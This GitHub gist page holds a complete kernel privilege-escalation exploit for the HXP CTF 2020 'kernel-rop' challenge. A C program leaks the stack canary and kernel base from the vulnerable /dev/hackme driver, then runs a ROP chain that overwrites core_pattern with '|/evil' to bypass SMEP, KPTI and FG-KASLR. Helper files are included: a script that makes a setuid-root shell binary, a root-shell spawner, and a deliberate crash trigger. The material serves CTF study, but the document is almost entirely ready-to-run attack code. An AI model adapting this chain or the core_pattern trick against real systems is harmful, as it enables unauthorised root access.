-
-
Save brant-ruan/4c187b967e2f9ab12dacd718609061d1 to your computer and use it in GitHub Desktop.
[exploit_bypass_fgkaslr_with_unaffected_gadgets] HXP CTF 2020 >> kernel-rop | bypass SMEP with kernel ROP; bypass KPTI with coredump; bypass KASLR with kernel offset leak; bypass FG-KASLR with unaffected gadgets
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
mv /evilsu /tmp/evilsu | |
chmod u+s /tmp/evilsu | |
chmod 777 /evilsu |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
int main() { | |
puts("[*] trying to spawn root shell"); | |
setuid(0); | |
setgid(0); | |
system("/bin/sh"); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
char *VULN_DRV = "/dev/hackme"; | |
void spawn_shell(); | |
int64_t global_fd = 0; | |
uint64_t cookie = 0; | |
uint8_t cookie_off = 16; | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t user_rip = (uint64_t) spawn_shell; | |
uint64_t pop_rsi_pop1_ret = 0xffffffff8101ad44; | |
uint64_t write_rax_into_rsi_pop1_ret = 0xffffffff81015dc7; | |
uint64_t swapgs_pop1_ret = 0xffffffff8100a55f; | |
uint64_t iretq = 0xffffffff8100c0d9; | |
uint64_t core_pattern = 0xffffffff8211edc0; | |
uint64_t pop_rax_ret = 0xffffffff81004d11; | |
uint64_t kernel_base = 0xffffffff81000000; | |
int64_t kernel_base_offset = 0; | |
void open_dev() { | |
global_fd = open(VULN_DRV, O_RDWR); | |
if (global_fd < 0) { | |
printf("[!] failed to open %s\n", VULN_DRV); | |
exit(-1); | |
} else { | |
printf("[+] successfully opened %s\n", VULN_DRV); | |
} | |
} | |
void leak_cookie_and_kernel_offset() { | |
uint8_t sz = 40; | |
uint64_t leak[sz]; | |
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak)); | |
uint64_t data = read(global_fd, leak, sizeof(leak)); | |
cookie = leak[cookie_off]; | |
kernel_base_offset = (leak[38] & 0xffffffffffff0000) - kernel_base; | |
printf("[+] got kernel base address offset: 0x%lx\n", kernel_base_offset); | |
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off); | |
if(!cookie) { | |
puts("[-] failed to leak stack canary!"); | |
exit(-1); | |
} | |
} | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
void overwrite_ret() { | |
puts("[*] trying to run ROP chain and bypass FG-KASLR with unaffected gadgets"); | |
uint8_t sz = 35; | |
uint64_t payload[sz]; | |
payload[cookie_off++] = cookie; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = pop_rax_ret + kernel_base_offset; | |
payload[cookie_off++] = 0x6c6976652f7c; // rax: |/evil | |
payload[cookie_off++] = pop_rsi_pop1_ret + kernel_base_offset; | |
payload[cookie_off++] = core_pattern + kernel_base_offset; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = write_rax_into_rsi_pop1_ret + kernel_base_offset; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = swapgs_pop1_ret + kernel_base_offset; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = iretq + kernel_base_offset; | |
payload[cookie_off++] = user_rip; | |
payload[cookie_off++] = user_cs; | |
payload[cookie_off++] = user_rflags; | |
payload[cookie_off++] = user_sp; | |
payload[cookie_off++] = user_ss; | |
uint64_t data = write(global_fd, payload, sizeof(payload)); | |
puts("[-] if you can read this we failed the mission :("); | |
} | |
int main(int argc, char **argv) { | |
open_dev(); | |
leak_cookie_and_kernel_offset(); | |
save_userland_state(); | |
overwrite_ret(); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int main() { | |
char *p = 0; | |
*p = 1; | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment